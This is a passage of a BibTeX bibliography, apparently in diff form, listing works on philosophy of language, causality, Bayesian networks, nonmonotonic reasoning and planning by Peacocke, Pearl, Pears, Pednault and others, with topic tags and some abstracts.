title = {A Selective Bibliography of Philosophical Logic}, + year = {1973}, + note = {Unpublished manuscript, Oxford University}, + topic = {philosophical-logic;bibliography;} + } + +@incollection{ peacocke:1976a, + author = {Christopher Peacocke}, + title = {Truth Definitions and Actual Languages}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {162--188}, + address = {Oxford}, + topic = {davidson-semantics;foundations-of-semantics; + speaker-meaning;} + } + +@incollection{ peacocke:1976b, + author = {Christopher Peacocke}, + title = {An Appendix to {D}avid {W}iggins' `Note'\, } , + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {313--324}, + address = {Oxford}, + topic = {individual-attitudes;essentialism;davidson-semantics;} + } + +@article{ peacocke:1977a, + author = {Christopher Peacocke}, + title = {Review of {\em Linguistic Behaviour}, by {J}onathan + {B}ennett}, + journal = {Journal of Philosophy}, + year = {1977}, + volume = {74}, + number = {6}, + pages = {367--372}, + xref = {Review of bennett_j:1976a.}, + topic = {philosophy-or-language;semantics;speaker-meaning;Grice; + convention;} + } + +@article{ peacocke:1978a, + author = {Christopher Peacocke}, + title = {Necessity and Truth Theories}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {4}, + pages = {473--500}, + topic = {modal-logic;Davidson-semantics;} + } + +@incollection{ peacocke:1979a, + author = {Christopher Peacocke}, + title = {Deviant Causal Chains}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {123--155}, + address = {Minneapolis}, + topic = {causality;perception;intention;} + } + +@article{ peacocke:1981a, + author = {Christopher Peacocke}, + title = {Are Vague Predicates Incoherent?}, + journal = {Synth\'ese}, + year = {1981}, + volume = {94}, + pages = {121--141}, + missinginfo = {number}, + topic = {vagueness;} + } + +@book{ peacocke:1986a, + author = {Christopher Peacocke}, + title = {Thoughts: An Essay on Content}, + publisher = {Basil Blackwell Publishers}, + year = {1986}, + address = {Oxford}, + topic = {propositions;propositional-attitudes;} + } + +@book{ peacocke:1992a, + author = {Christopher Peacocke}, + title = {Concepts}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-66097-0}, + topic = {philosophy-of-mind;philosophy-of-psychology;concept-grasping;} + } + +@article{ peacocke:1993a, + author = {Christopher Peacocke}, + title = {Externalist Explanation}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1993}, + volume = {93}, + note = {Supplementary Series.}, + pages = {203--230}, + topic = {explanation;philosophy-of-mind;} + } + +@article{ peacocke:2001a, + author = {Christopher Peacocke}, + title = {Does Perception have a Nonperceptual Content?}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {98}, + number = {5}, + pages = {239--264}, + topic = {philosophy-of-perception;} + } + +@article{ peacocke:2002a, + author = {Christopher Peacocke}, + title = {Principles for Possibilitia}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {3}, + pages = {486--508}, + topic = {possible-worlds-semantics;logic-of-existence;} + } + +@techreport{ pearce-rantala:1981a, + author = {David Pearce and Veikko Rantala}, + title = {On a New Approach to Metascience}, + institution = {Department of Philosophy, University of Helsinki}, + number = {1}, + year = {1981}, + address = {Helsinki}, + topic = {model-theory;philosophy-of-science;} + } + +@book{ pearce-wagner:1992a, + editor = {David Pearce and Gerd Wagner}, + title = {Logics in AI: Proceedings of the {E}uropean Workshop + {JELIA} '92, {B}erlin, {G}ermany, September 7-10, 1992}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + ISBN = {3-540-55887-X (Softcover)}, + topic = {logic-in-AI;} + } + +@article{ pearce_d-rantala:1984a, + author = {David Pearce and Veikko Rantala}, + title = {A Logical Study of the Correspondence Relation}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {1}, + pages = {47--84}, + topic = {philosophy-of-science;formalizations-of-physics;} + } + +@incollection{ pearce_d:1995a, + author = {David Pearce}, + title = {Epistemic Operators and Knowledge-Based Reasoning}, + booktitle = {Knowledge and Belief in Philosophy and Artificial + Intelligence}, + publisher = {Akedemie Verlag}, + year = {1995}, + editor = {Armin Laux and Heinrich Wansing}, + pages = {1--24}, + address = {Berlin}, + topic = {epistemic-logic;propositional-attitudes;} + } + +@incollection{ pearce_d:1996a, + author = {David Pearce}, + title = {Answer Sets and Constructive Logic. Part {I}: Monotonic + Databases}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {392--414}, + address = {Berlin}, + topic = {stable-models;logic-programming;constructive-falsity;} + } + +@article{ pearl:1980a, + author = {Judea Pearl}, + title = {Asymptotic Properties of Minimax Trees and Game-Searching + Procedures}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {2}, + pages = {113--138}, + acontentnote = {Abstract: + The model most frequently used for evaluating the behavior of + game-searching methods consists of a uniform tree of height h + and a branching degree d, where the terminal positions are + assigned random, independent and identically distributed values. + This paper highlights some curious properties of such trees when + h is very large and examines their implications on the + complexity of various game-searching methods. + If the terminal positions are assigned a WIN-LOSS status with + the probabilities P0 and 1 - P0, respectively, then the root + node is almost a sure WIN or a sure LOSS, depending on whether + P0 is higher or lower than some fixed-point probability P*(d). + When the terminal positions are assigned continuous real values + the minimax value of the root node converges rapidly to a unique + predetermined value v*, which is the (1 - P*)-fractile of the + terminal distribution. + Exploiting these properties we show that a game with WIN-LOSS + terminals can be solved by examining, on the average, O[(d)h/2] + terminal positions if P0 [/=] P* and O[(P*/(1 - P*))h] positions + if P0 = P*, the former performance being optimal for all search + algorithms. We further show that a game with continuous terminal + values can be evaluated by examining an average of O[(P*/(1 - + P*))h] positions, and that this is a lower bound for all + directional algorithms. Games with discrete terminal values can + in almost all cases be evaluated by examining an average of + O[(d)h/2] terminal positions. This performance is optimal and is + also achieved by the ALPHA-BETA procedure. } , + topic = {search;game-trees;} + } + +@article{ pearl:1983a, + author = {Judea Pearl}, + title = {Knowledge Versus Search: A Quantitative Analysis + Using A*}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {1}, + pages = {1--13}, + acontentnote = {Abstract: + This paper analyzes the average number of nodes expanded by A* + as a function of the accuracy of its heuristic estimates, by + treating the errors h* - h as random variables whose + distribution may vary over the nodes in the graph. The search + model consists of an m-ary tree with unit branch costs and a + unique goal state situated at a distance N from the root. + The main result states that if the typical error grows like + [phi](h*) then the mean complexity of A* grows approximately + like G(N) exp[c[phi](N)], where c is a positive constant and + G(N) is O(N2). Thus, a necessary and sufficient condition for + maintaining polynomial search complexity is that A* be guided by + heuristics with logarithmic precision, e.g. [phi](N) = (log + N)k. A* is shown to make much greater use of its heuristic + knowledge than a backtracking procedure would under similar + conditions. } , + topic = {search;complexity-in-AI;AI-algorithms-analysis;} + } + +@article{ pearl:1983b, + author = {Judea Pearl}, + title = {On the Nature of Pathology in Game Searching}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {4}, + pages = {427--453}, + acontentnote = {Abstract: + Game-playing programs usually process the estimates attached to + game positions through repeated minimax operations, as if these + were true terminal payoffs. This process introduces a spurious + noise which degrades the quality of the decisions and, in the + extreme case, may cause a pathological phenomenon: the deeper we + search the worse we play. + Using a probabilistic game model, this paper examines the + nature of this distortion, quantifies its magnitude, determines + the conditions when its damage is curtailed and explains why + search-depth pathology (the extreme manifestation of minimax + distortion) is rarely observed in common games. } , + topic = {game-tree-pathology;search;game-trees;game-playing;} + } + +@article{ pearl:1986a, + author = {Judea Pearl}, + title = {Fusion, Propagation, and Structuring in Belief Networks}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {3}, + pages = {241--288}, + xref = {Commentary: pearl:1993a.}, + topic = {Bayesian-networks;} +} + +@inproceedings{ pearl:1987a, + author = {Judea Pearl}, + title = {Embracing Causality in Formal Reasoning}, + booktitle = {Proceedings of the Seventh National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Kenneth Forbus and Howard Shrobe}, + pages = {369--373}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + xref = {See for journal publication.}, + topic = {kr;causal-reasoning;kr-course;} + } + +@techreport{ pearl:1987b, + author = {Judea Pearl}, + title = {A Probabilistic Treatment of the {Y}ale Shooting Problem}, + institution = {UCLA, Computer Science Department}, + number = {CSF--8700XX}, + year = {1991}, + address = {Los Angeles, California}, + topic = {kr;Yale-shooting-problem;kr-course;} + } + +@article{ pearl:1987c, + author = {Judea Pearl}, + title = {Evidential Reasoning Using Stochastic + Simulation of Causal Models}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {2}, + pages = {245--257}, + acontentnote = {Abstract: + Stochastic simulation is a method of computing probabilities by + recording the fraction of time that events occur in a random + series of scenarios generated from some causal model. This paper + presents an efficient, concurrent method of conducting the + simulation which guarantees that all generated scenarios will be + consistent with the observed data. It is shown that the + simulation can be performed by purely local computations, + involving products of parameters given with the initial + specification of the model. Thus, the method proposed renders + stochastic simulation a powerful technique of coherent + inferencing, especially suited for tasks involving complex, + nondecomposable models where ``ballpark'' estimates of + probabilities will suffice. } , + topic = {stochastic-modeling;causal-modeling;} + } + +@article{ pearl:1987d, + author = {Judea Pearl}, + title = {Distributed Revision of Composite Beliefs}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {2}, + pages = {173--215}, + acontentnote = {Abstract: + This paper extends the applications of belief network models to + include the revision of belief ``commitments'', i.e., the + categorical acceptance of a subset of hypotheses which, + together, constitute the most satisfactory explanation of the + evidence at hand. A coherent model of nonmonotonic reasoning is + introduced, and distributed algorithms for belief revision are + presented. We show that, in singly connected networks, the most + satisfactory explanation can be found in linear time by a + message-passing algorithm similar to the one used in belief + updating. In multiply connected networks, the problem may be + exponentially hard but, if the network is sparse, topological + considerations can be used to render the interpretation task + tractable. In general, finding the most probable combination of + hypotheses is no more complex than computing the degree of + belief for any individual hypothesis. Applications to circuit + and medical diagnosis are illustrated. } , + topic = {belief-revision;nonmonotonic-reasoning;diagnosis; + message-passing-algorithms;} + } + +@book{ pearl:1988a, + author = {Judea Pearl}, + title = {Probabilistic Reasoning in Intelligent Systems: + Networks of Plausible Inference}, + publisher = {Morgan Kaufmann Publishers}, + year = {1988}, + address = {San Mateo, California}, + xref = {Review: andersen_sk:1991a.}, + ISBN = {0934613737}, + topic = {Bayesian-networks;reasoning-about-uncertainty; + uncertainty-in-AI;probabilistic-reasoning;} + } + +@article{ pearl:1988b, + author = {Judea Pearl}, + title = {Embracing Causality in Default Reasoning}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {2}, + pages = {259--271}, + topic = {causality;causal-reasoning;nonmonotonic-reasoning;} + } + +@incollection{ pearl:1988c, + author = {Judea Pearl}, + title = {Evidential Reasoning Under Uncertainty}, + booktitle = {Exploring Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1988}, + editor = {Howard E. Shrobe}, + pages = {381--418}, + address = {San Mateo, California}, + topic = {uncertainty-in-AI;kr-courses;} + } + +@article{ pearl:1988d, + author = {Judea Pearl}, + title = {Embracing Causality in Default Reasoning}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {2}, + pages = {259--271}, + acontentnote = {Abstract: + The purpose of this note is to draw attention to certain aspects + of causal reasoning which are pervasive in ordinary discourse + yet, based on the author's scan of the literature, have not + received due treatment by logical formalisms of common-sense + reasoning. In a nutshell, it appears that almost every default + rule falls into one of two categories: expectation-evoking or + explanation-evoking. The former describes association among + events in the outside world (e.g., fire is typically accompanied + by smoke); the latter describes how we reason about the world + (e.g., smoke normally suggests fire). This distinction is + consistently recognized by people and serves as a tool for + controlling the invocation of new default rules. This note + questions the ability of formal systems to reflect common-sense + inferences without acknowledging such distinction and outlines a + way in which the flow of causation can be summoned within the + formal framework of default logic. } , + topic = {causality;nonmonotonic-reasoning;} + } + +@incollection{ pearl:1989a, + author = {Judea Pearl}, + title = {Probabilistic Semantics for Nonmonotonic Reasoning: A Survey}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {505--516}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;probability-semantics;kr-course;} + } + +@inproceedings{ pearl:1990a, + author = {Judea Pearl}, + title = {System {Z}: a Natural Ordering of Defaults With Tractable + Applications to Nonmonotonic Reasoning}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {121--138}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {nonmonotonic-reasoning;probabilistic-reasoning; + qualitative-probability;} + } + +@inproceedings{ pearl:1990b, + author = {Judea Pearl}, + title = {Which Is More Believable: The Probably Provable or the + Provably Probable?}, + booktitle = {Proceedings of the Eighth Canadian Conference on {AI}}, + year = {1990}, + pages = {1--7}, + missinginfo = {organization, publisher, address, check topic}, + topic = {probabilistic-reasoning;} + } + +@incollection{ pearl:1990c, + author = {Judea Pearl}, + title = {{J}effrey's Rule, Passage of Experience, and + Neo-{B}ayesianism}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {245--265}, + address = {Dordrecht}, + topic = {probability-kinematics;} + } + +@inproceedings{ pearl:1990d, + author = {Judea Pearl}, + title = {System {Z}: A Natural Ordering of Defaults with + Tractible Applications to Nonmonotonic Reasoning}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {29--39}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {nonmonotonic-reasoning;nonmonotonic-logic;} + } + +@article{ pearl:1990e, + author = {Judea Pearl}, + title = {Reasoning Under Uncertainty}, + journal = {Annual Review of Computer Science}, + year = {1990}, + volume = {4}, + pages = {37--72}, + topic = {probabilistic-reasoning;Bayesian-networks;} + } + +@incollection{ pearl:1991b, + author = {Judea Pearl}, + title = {Probabilistic Semantics for Nonmonotonic + Reasoning}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John L. Pollock}, + pages = {157--187}, + address = {Cambridge, Massachusetts}, + topic = {kr;nonmonotonic-reasoning;probability-semantics;kr-course;} + } + +@inproceedings{ pearl-verma:1991a1, + author = {Judea Pearl and Tom S. Verma}, + title = {A Theory of Inferred Causation}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {441--452}, + address = {San Mateo, California}, + topic = {kr;causal-reasoning;kr-course;} + } + +@inproceedings{ pearl-verma:1991a2, + author = {Judea Pearl and Tom S. Verma}, + title = {A Theory of Inferred Causation}, + booktitle = {Logic, Methodology and Philosophy of Science IX}, + publisher = {Elsevier Science Publishers}, + year = {1994}, + editor = {Dag Prawitz and Brian Skyrms and Dag Westerstahl}, + pages = {789--811}, + address = {Amsterdam}, + topic = {kr;causal-reasoning;kr-course;} + } + +@techreport{ pearl:1993a, + author = {Judea Pearl}, + title = {From Bayesian Networks to Causal Networks}, + institution = {Cognitive Systems Laboratory, UCLA}, + number = {R--195--LLL}, + year = {1993}, + address = {Los Angeles, California}, + topic = {probabilistic-reasoning;Bayesian-networks;causal-networks;} + } + +@inproceedings{ pearl:1993b, + author = {Judea Pearl}, + title = {From Conditional Oughts to Qualitative Decision Theory}, + booktitle = {Proceedings of the Ninth Conference on Uncertainty in + Artificial Intelligence}, + year = {1993}, + editor = {David E. Heckerman and Abe Mamdani}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {12--20}, + topic = {qualitative-utility;deontic-logic;} + } + +@article{ pearl:1993c, + author = {Judea Pearl}, + title = {Belief Networks Revisited}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {49--56}, + xref = {Retrospective commentary on pearl:1986a.}, + topic = {Bayesian-networks;} + } + +@inproceedings{ pearl:1994a, + author = {Judea Pearl}, + title = {A Probabilistic Calculus of Actions}, + booktitle = {Proceedings of the Tenth Conference on Uncertainty in + Artificial Intelligence}, + year = {1994}, + missinginfo = {pages,editor,publisher,address}, + topic = {Bayesian-networks,actions;} + } + +@incollection{ pearl:1994b, + author = {Judea Pearl}, + title = {From {A}dams' Conditionals to Default Expressions, Causal + Conditionals, and Counterfactuals}, + booktitle = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + pages = {47--74}, + editor = {Ellery Eells and Brian Skyrms}, + address = {Cambridge, England}, + topic = {conditionals;causality;nonmonotonic-reasoning;} + } + +@incollection{ pearl:1995a1, + author = {Judea Pearl}, + title = {Causation, Action, and Counterfactuals}, + booktitle = {Computational Learning and Probabilistic Learning}, + publisher = {John Wiley and Sons}, + year = {1995}, + editor = {Alexander Gammerman}, + address = {New York}, + missinginfo = {pages}, + xref = {pearl:1995a2}, + topic = {action;causality;conditionals;} + } + +@incollection{ pearl:1995a2, + author = {Judea Pearl}, + title = {Causation, Action, and Counterfactuals}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {51--73}, + address = {San Francisco}, + xref = {pearl:1995a2}, + topic = {action;causality;conditionals;} + } + +@inproceedings{ pearl:1995b, + author = {Judea Pearl}, + title = {Action as a Local Surgery}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Extending Theories of Action: Formal Theories and Applications}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + contentnote = {Discusses compact representation for actions, plans.}, + missinginfo = {pages}, + topic = {action;} + } + +@techreport{ pearl:1995c1, + author = {Judea Pearl}, + title = {Causation, Action, and Counterfactuals}, + institution = {Computer Science Department, UCLA}, + number = {R--233-U}, + year = {1995}, + address = {Los Angeles, California}, + xref = {Publication in Collection: pearl:1995c2.}, + topic = {causality;action;conditionals;} + } + +@incollection{ pearl:1995c2, + author = {Judea Pearl}, + title = {Causation, Action, and Counterfactuals}, + Booktitle = {Computational Learning and Probabilistic Reasoning}, + publisher = {John Wiley and Sons}, + year = {1995}, + editor = {A. Gammerman}, + pages = {235--255}, + address = {New York}, + xref = {In-Collection Publication of: pearl:1995c1.}, + topic = {causality;action;conditionals;} + } + +@article{ pearl:1995d, + author = {Judea Pearl}, + title = {Causal Diagrams for Empirical Research (with Discussion)}, + journal = {Biometrika}, + year = {1995}, + volume = {82}, + number = {4}, + pages = {669--709}, + topic = {causal-networks;} + } + +@techreport{ pearl:1996a, + author = {Judea Pearl}, + title = {The Art and Science of Cause and Effect}, + institution = {Computer Science Department, UCLA}, + number = {R--248}, + year = {1996}, + address = {Los Angeles, California}, + topic = {causality;foundations-of-statistics;} + } + +@incollection{ pearl-goldszmidt:1996a, + author = {Judea Pearl and Mois\'es Goldszmidt}, + title = {Probabilistic Foundations of Reasoning with Conditionals}, + booktitle = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + editor = {Gerhard Brewka}, + pages = {33--68}, + address = {Stanford, California}, + topic = {conditionals;probability-semantics;belief-revision; + causality;} + } + +@techreport{ pearl:1997a, + author = {Judea Pearl}, + title = {The New Challenge: From a Century of Statistics to the Age of + Causation}, + institution = {Computer Science Department, UCLA}, + number = {R--249}, + year = {1997}, + address = {Los Angeles, California}, + topic = {causality;foundations-of-statistics;} + } + +@techreport{ pearl:1997c, + author = {Judea Pearl}, + title = {Graphs, Causality, and Structural Equation Models}, + institution = {Computer Science Department, UCLA}, + number = {R--253}, + year = {1997}, + address = {Los Angeles, California}, + topic = {causality;causal-networks;} + } + +@techreport{ pearl:1998a, + author = {Judea Pearl}, + title = {Probabilities of Causation: Three Counterfactual + Interpretations and Their Identification}, + institution = {Computer Science Department, UCLA}, + number = {R--261}, + year = {1998}, + address = {Los Angeles, California}, + topic = {causality;conditionals;} + } + +@inproceedings{ pearl:1998b, + author = {Judea Pearl}, + title = {Actions, Causes, and Counterfactuals: Lessons + from Mechanism-Based Theories}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {55}, + note = {Abstract.}, + topic = {causality;causal-modeling;} + } + +@incollection{ pearl:1998c, + author = {Judea Pearl}, + title = {Graphical Models for Probabilistic and Causal Reasoning}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {367--389}, + address = {Dordrecht}, + topic = {Bayesian-networks;} + } + +@techreport{ pearl:1999a, + author = {Judea Pearl}, + title = {Reasoning with Cause and Effect}, + institution = {Computer Science Department, UCLA}, + number = {R--265}, + year = {1999}, + address = {Los Angeles, California}, + topic = {causality;causal-modeling;conditionals;} + } + +@book{ pearl:2000a, + author = {Judea Pearl}, + title = {Causality: Models, Reasoning, and Inference}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + ISBN = {0-521-77362-8}, + ISBN = {0521773628 (hardback)}, + xref = {Review: hitchcock:2001a.}, + topic = {Bayesian-networks;causality;action;conditionals;} + } + +@incollection{ pears:1969a, + author = {David F. Pears}, + title = {An Original Philosopher}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul, Ltd.}, + year = {1969}, + editor = {K.T. Fann}, + pages = {49--58}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@incollection{ pears:1973a, + author = {David F. Pears}, + title = {Ifs and Cans}, + booktitle = {Essays on J.L. Austin}, + publisher = {Oxford University Press}, + year = {1973}, + editor = {Isiah Berlin et al.}, + pages = {90--140}, + address = {Oxford}, + topic = {JL-Austin;ordinary-language-philosophy;conditionals;freedom;} + } + +@article{ pears-pugmire:1982a, + author = {David F. Pears and David Pugmire}, + title = {Motivated Irrationality}, + journal = {Proceedings of the {A}ristotelian {S}ociety}, + year = {1982}, + volume = {Supplementary Volume 56}, + pages = {157--178}, + topic = {practical-reasoning;self-deception;irrationality;} + } + +@book{ pears:1998a, + author = {David F. Pears}, + title = {Motivated Irrationality}, + publisher = {St. Augustine's Press}, + year = {1998}, + address = {South Bend, Indiana}, + topic = {practical-reasoning;self-deception;irrationality;} + } + +@book{ pearson:1998a, + author = {Jennifer Pearson}, + title = {Terms In Context}, + publisher = {J. Benjamins}, + year = {1998}, + address = {Amsterdam}, + ISBN = {1556193424}, + topic = {collocations;corpus-linguistics;} + } + +@inproceedings{ pease_a1-etal:2000a, + author = {Adam Pease and Vinay Chaudhri and Fritz Lehmann and + Adam Fahrquhar}, + title = {Practical Knowledge Representation and the {DARPA} High + Performance Knowledge Bases Project}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {717--724}, + topic = {knowledge-engineering;computational-ontology; + macro-formalization;} + } + +@incollection{ pease_a2-etal:2002a, + author = {Allison Pease and Simon Colton and Alan Smaill and John Lee}, + title = {Semantic Negotiation: Modelling Ambiguity in Dialogue}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {125--132}, + address = {Edinburgh}, + topic = {ambiguity;negotiation;discourse;} + } + +@article{ pease_m-etal:1980a, + author = {M. Pease and R. Shostak and Leslie Lamport}, + title = {Reaching Agreement in the Presence of Faults}, + journal = {Journal of the {ACM}}, + year = {1980}, + volume = {27}, + number = {2}, + pages = {228--234}, + missinginfo = {A's 1st name}, + topic = {communication-protocols;} + } + +@article{ peckhaus:1999a, + author = {Volker Peckhaus}, + title = {19th Century Logic Between Philosophy and Mathematics}, + journal = {The Bulletin of Symbolic Logic}, + year = {199}, + volume = {5}, + number = {4}, + pages = {433--450}, + topic = {history-of-logic;} + } + +@inproceedings{ pedersen-etal:1996a, + author = {Ted Pedersen and Mehmet Kayaalp and Rebecca Bruce}, + title = {Significant Lexical Relationships}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {455--460}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {corpus-statistics;computational-lexicography;} + } + +@incollection{ pedersen-bruce:1997a, + author = {Ted Pedersen and Rebecca Bruce}, + title = {Distinguishing Word Senses + in Untagged Text}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {197--207}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;lexical-disambiguation; + corpus-linguistics;} + } + +@article{ pednault-etal:1981a, + author = {Edwin P.D. Pednault and Steven W. Zucker and L.V. Muresan}, + title = {On the Independence Assumption Underlying Subjective + {B}ayesian Updating}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {2}, + pages = {213--222}, + missinginfo = {A's 1'st name.}, + topic = {probabilistic-reasoning;Bayesian-reasoning;Bayesian-networks;} + } + +@techreport{ pednault:1985a, + author = {Edwin P.D. Pednault}, + title = {Preliminary Report on a Theory of Plan Synthesis}, + type = {Technical Note}, + number = {358}, + institution = {AI Center, SRI International}, + month = {September}, + year = {1985}, + topic = {planning;} + } + +@incollection{ pednault:1986a, + author = {Edwin P.D. Pednault}, + title = {Formulating Multiagent, Dynamic-World Problems in the Classical + Planning Framework}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {47--82}, + address = {Los Altos, California}, + topic = {action-formalisms;concurrent-actions;multiagent-planning;} + } + +@phdthesis{ pednault:1986b, + author = {Edwin P.D. Pednault}, + title = {Toward a Mathematical Theory of Plan Synthesis}, + school = {Department of Electrical Engineering, Stanford University}, + year = {1986}, + type = {Ph.{D}. Dissertation}, + address = {Stanford, California}, + topic = {planning;} + } + +@article{ pednault:1988a, + author = {Edwin P.D. Pednault}, + title = {Synthesizing Plans that Contain Actions with Context + Dependent Effects}, + journal = {Computational Intelligence}, + year = {1988}, + volume = {4}, + number = {4}, + pages = {324--372}, + topic = {planning;actions;action-effects;} + } + +@incollection{ pednault:1988b, + author = {Edwin P.D. Pednault}, + title = {{\sc adl}: Exploring the Middle Ground Between {\sc strips} + and the Situation Calculus}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {324--332}, + address = {San Mateo, California}, + topic = {kr;kr-course;planning;planning-formalisms;} + } + +@inproceedings{ pednault:1989a, + author = {Edwin P.D. Pednault}, + title = {{ADL}: Exploring the Middle Ground between {STRIPS} and the + Situation Calculus}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {324--332}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {planning-formalisms;situation-calculus;STRIPS;} + } + +@incollection{ pedrazzini-hoffman:1998a, + author = {Sandro Pedrazzini and Marcus Hoffman}, + title = {Using Genericity to Create Customizable Finite State + Tools}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {110--117}, + address = {Somerset, New Jersey}, + topic = {nl-processing;finite-state-nlp;construction-of-FSA;} + } + +@book{ peeters:2000a, + editor = {Bert Peeters}, + title = {The Lexicon-Encyclopedia Interface}, + publisher = {Elsevier}, + year = {2000}, + address = {Amsterdam}, + ISBN = {0080435912 (hardcover)}, + topic = {lexical-semantics;foundations-of-semantics;} + } + +@article{ peetz:1974a, + author = {Vera Peetz}, + title = {Fogelin on {A}ustinian Ifs}, + journal = {Mind}, + year = {1974}, + volume = {83}, + number = {332}, + pages = {594--595}, + topic = {JL-Austin;ability;conditionals;freedom;} + } + +@incollection{ peirce:1955a, + author = {Charles Sanders Peirce}, + title = {Abduction and Induction}, + booktitle = {Philosophical Writings of {P}eirce}, + publisher = {Dover Books}, + year = {1955}, + editor = {J. Buchler}, + pages = {150--156}, + address = {New York}, + topic = {abduction;} + } + +@techreport{ pelavin:1988a, + author = 